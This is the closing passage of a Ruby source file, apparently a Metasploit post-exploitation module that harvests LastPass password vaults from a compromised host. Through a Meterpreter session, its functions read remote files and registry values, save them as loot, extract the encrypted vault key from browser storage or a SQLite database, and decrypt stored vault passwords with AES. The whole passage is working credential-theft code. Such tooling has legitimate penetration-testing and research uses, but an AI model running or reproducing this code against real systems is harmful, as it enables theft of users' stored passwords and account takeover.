    return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes
744
  end
745

746
  def decrypt_vault_password(key, encrypted_data)
747
    return nil if key.blank? || encrypted_data.blank?
748

749
    if encrypted_data[0] == '!' # Apply CBC
750
      decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
751
      decipher.iv = encrypted_data[1, 16] # Discard !
752
      encrypted_data = encrypted_data[17..]
753
    else # Apply ECB
754
      decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
755
    end
756
    decipher.key = [key].pack 'H*'
757

758
    begin
759
      return decipher.update(encrypted_data) + decipher.final
760
    rescue OpenSSL::Cipher::CipherError
761
      vprint_error "Vault password could not be decrypted with key #{key}"
762
      return nil
763
    end
764
  end
765

766
  # Reads a remote file and loots it
767
  def loot_file(path, data, title, type, description)
768
    data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
769
    return nil if data.nil?
770

771
    loot_path = store_loot(
772
      title,
773
      type,
774
      session,
775
      data,
776
      nil,
777
      description
778
    )
779
    loot_path
780
  end
781

782
  # Reads a remote file and returns the data
783
  def read_remote_file(path)
784
    data = nil
785

786
    begin
787
      data = read_file(path)
788
    rescue EOFError
789
      vprint_error "Error reading file #{path} It could be empty"
790
    end
791
    data
792
  end
793

794
  def read_registry_key_value(key, value)
795
    begin
796
      root_key, base_key = session.sys.registry.splitkey(key)
797
      reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
798
      return nil unless reg_key
799

800
      reg_value = reg_key.query_value(value)
801
      return nil unless reg_value
802
    rescue Rex::Post::Meterpreter::RequestError => e
803
      vprint_error("#{e.message} (#{key}\\#{value})")
804
    end
805
    reg_key.close if reg_key
806
    return reg_value.blank? ? nil : reg_value.data
807
  end
808

809
  def extract_local_encrypted_vault_key(browser, username, lp_data)
810
    if browser.match(/Firefox|IE/)
811
      encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'
812
      encrypted_vault_key = read_remote_file(encrypted_key_path)
813
      encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
814
    else
815
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
816
      result = db.execute(
817
        'SELECT data FROM LastPassData ' \
818
        "WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
819
      )
820
      encrypted_vault_key = result[0][0]
821
    end
822

823
    return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
824
  end
825

826
  # Returns OS separator in a session type agnostic way
827
  def system_separator
828
    return session.platform == 'windows' ? '\\' : '/'
829
  end
830
end
831

832